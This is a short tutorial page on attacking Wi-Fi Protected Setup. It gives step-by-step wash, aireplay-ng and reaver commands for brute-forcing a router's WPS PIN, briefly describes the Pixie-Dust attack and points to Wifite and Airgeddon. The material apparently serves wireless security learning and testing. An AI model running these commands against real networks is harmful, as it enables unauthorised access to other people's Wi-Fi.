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# WPS Attack

## <mark style="color:blue;">WPS Attack</mark>

WPS stands for "Wi-Fi Protected Setup," which is a network security standard used by wireless routers to make it easier for users to connect their devices to a Wi-Fi network. WPS allows users to connect their devices to a wireless network without the need to enter a password manually.

When using WPS, a user can simply press a button on the router, or enter a PIN code, and the router will automatically configure the device's wireless settings and connect it to the network. This makes it easier for users to connect devices to a wireless network without having to remember a complicated password.

## <mark style="color:blue;">How to Run a  Brute-Force PIN attack?</mark>

WPS is only 8 digits pin so we can simply try possible pins to guess the correct one!

1. To see the available networks we can type

```
wash –interface [interface]
```

2. After choosing the AP that does not use PBC (Push Button Authentication) we need first to associate with the AP

```
aireplay-ng –fakeauth 30 -a [AP mac addr] -h [wifi inter addr] [interface]
```

3. To try possible pins we going to use a tool called reaver

```
reaver –bssid [AP mac addr] –channel [AP CH] –interface [interface] -vvv –no-associate
```

## <mark style="color:blue;">How to Run a  Pixie-Dust attack?</mark>

The Pixie-Dust attack is a strategy that targets the vulnerability in WPS (Wi-Fi Protected Setup) to crack the PIN and gain access to a Wi-Fi network. This technique is used to exploit weak security settings, highlighting the importance of securing wireless networks with strong encryption and complex passwords.

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Now, Pixie-Dust attack is part of Airegeddon, wifite ,... so you can check other pre build tools to run it.

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[Wifite](/en/wifi-cracking/wifite.md)
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[Airgeddon](/en/wifi-cracking/airgeddon.md)
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